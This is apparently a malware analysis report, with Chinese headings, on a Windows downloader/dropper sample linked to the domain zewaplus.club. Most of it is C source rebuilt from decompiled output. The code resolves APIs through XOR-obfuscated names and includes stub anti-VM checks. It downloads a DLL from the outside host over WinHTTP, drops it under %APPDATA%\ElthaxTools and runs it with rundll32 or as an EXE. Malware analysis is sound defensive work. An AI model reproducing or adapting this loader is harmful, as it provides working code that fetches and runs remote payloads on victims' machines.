🔴 恶意 — 无壳 | 签名: 无 | WinHTTP 下载器/Dropper 家族 (zewaplus.club)

🔧 行为重建 C 源代码

基于 Ghidra 反编译输出重建的行为等效 C 代码：

/*
 * Reconstructed: WinHTTP Downloader/Dropper
 * Original SHA256: 00cc775fb18128c434bd5703f4dd29fca48b68791bbc2f9bfa8eb9c3ba7d2a5a
 * Compiler: MSVC 2022 v17.6, PE64
 */
#include <windows.h>
#include <winhttp.h>
#include <shlobj.h>
#include <lmshare.h>

#define XOR_KEY 0x8e

/* XOR decrypt string in-place */
void xor_decrypt(BYTE *buf, size_t len, BYTE key) {
    for (size_t i = 0; i < len; i++)
        buf[i] ^= key;
}

/* Dynamic API resolver */
FARPROC resolve_api(HMODULE hMod, BYTE *enc_name, int len, BYTE key) {
    xor_decrypt(enc_name, len, key);
    FARPROC ret = GetProcAddress(hMod, enc_name);
    xor_decrypt(enc_name, len, key); /* re-encrypt */
    return ret;
}

/* Anti-VM checks */
BOOL anti_vm_checks(void) {
    /* GetProfileType: domain detection */
    DWORD pt = GetProfileType();
    /* WNetCloseEnum(NULL): sandbox detection trick */
    DWORD err = WNetCloseEnum(NULL);
    DWORD result = pt ^ err;
    
    char hostname[32]; DWORD sz = 32;
    GetComputerNameA(hostname, &sz);
    LCID lcid = GetSystemDefaultLCID();
    DWORD tick = GetTickCount();
    SYSTEM_INFO si;
    GetNativeSystemInfo(&si);
    return TRUE;
}

/* Download payload via WinHTTP */
BYTE* download_payload(const char *url, DWORD *out_size) {
    HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        NULL, NULL, 0);
    /* Parse URL: host, port, path */
    /* hxxps://zewaplus[.]club/files/telemetriawork/telepuz.dll */
    HINTERNET hConnect = WinHttpConnect(hSession, L"zewaplus.club", 443, 0);
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET",
        L"/files/telemetriawork/telepuz.dll", NULL, NULL, NULL,
        WINHTTP_FLAG_SECURE);
    WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);
    WinHttpReceiveResponse(hRequest, NULL);
    
    BYTE *buf = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_READWRITE);
    DWORD total = 0, read = 0;
    while (WinHttpReadData(hRequest, buf + total,
            0x400000 - total, &read) && read > 0)
        total += read;
    
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    *out_size = total;
    return buf;
}

/* Main dropper logic */
int WINAPI WinMainCRTStartup(void) {
    anti_vm_checks();
    
    /* Download telepuz.dll */
    DWORD payload_size;
    BYTE *payload = download_payload(
        "hxxps://zewaplus[.]club/files/telemetriawork/telepuz.dll",
        &payload_size);
    
    /* Build path: %APPDATA%\ElthaxTools\mnd_knot.dll */
    char appdata[MAX_PATH], full_path[MAX_PATH];
    SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdata);
    sprintf(full_path, "%s\\ElthaxTools", appdata);
    CreateDirectoryA(full_path, NULL);
    strcat(full_path, "\\mnd_knot.dll");
    
    /* Write DLL to disk */
    HANDLE hFile = CreateFileA(full_path, GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD written;
    WriteFile(hFile, payload, payload_size, &written, NULL);
    CloseHandle(hFile);
    
    /* Check PE header */
    if (*(WORD*)payload == 0x5A4D) { /* MZ */
        Sleep((GetTickCount() & 0x1FF) + 200);
        
        /* Execute via rundll32.exe */
        char cmdline[2048];
        sprintf(cmdline, "rundll32.exe \"%s\",SetupComponent", full_path);
        STARTUPINFOA si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
            0, NULL, NULL, &si, &pi);
        if (pi.hProcess) CloseHandle(pi.hProcess);
        if (pi.hThread) CloseHandle(pi.hThread);
    } else {
        /* Execute as regular EXE */
        STARTUPINFOA si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcessA(NULL, full_path, NULL, NULL, FALSE,
            0, NULL, NULL, &si, &pi);
    }
    
    VirtualFree(payload, 0, MEM_RELEASE);
    ExitProcess(0);
    return 0;
}